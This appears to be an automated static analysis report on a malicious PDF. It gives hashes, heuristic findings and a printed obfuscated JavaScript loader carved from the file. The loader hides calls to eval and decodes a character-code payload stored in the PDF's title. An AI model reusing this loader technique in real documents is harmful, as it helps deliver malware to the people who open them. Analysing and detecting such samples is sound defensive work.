Malicious PDF — malware analysis report

Static analysis result for SHA-256 1c66e21567c45048…

MALICIOUS

PDF

15.9 KB Created: 2011-72-51 03:25:00 Authoring application: ring.fromCharCo First seen: 2012-09-20
MD5: 16ebfc90811f8c3005d5e32e60dbacd2 SHA-1: 96753895a3ec07d37af81e3fb5051509d11c302f SHA-256: 1c66e21567c45048474384751f14eb0930d4ca4cee46ea88dfd00b7253b358e8
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File

The PDF contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely intended to exploit vulnerabilities or perform malicious actions upon opening the document, such as downloading a second-stage payload. No specific family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x3CF4 458 bytes
SHA-256: 1d45e92f87b9295e428606782dcdd74be5a3649a5608ec52552162811e254074
Preview script
First 1,000 lines of the extracted script
var l = 'asd'.substr;
var g = l();
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var qofdc="";
lew='his';
wwql='ti';
e('pizip=t'+lew+"."+wwql+function(){return 'tle'}());
grnh='["prod';
e('pts=t'+lew+grnh+function(){return 'ucer'}()+'"]');
ogcbe=e('St'+pts+'de');
axbfd = e(pizip.replace(/k/g, ","));
e('k=axbfd.length');
for (i = 0; i < k; i++) {
	kgjan = (i%2)?axbfd[i]/5:axbfd[i]/17;
	qofdc += ogcbe(kgjan);
}
e(qofdc);

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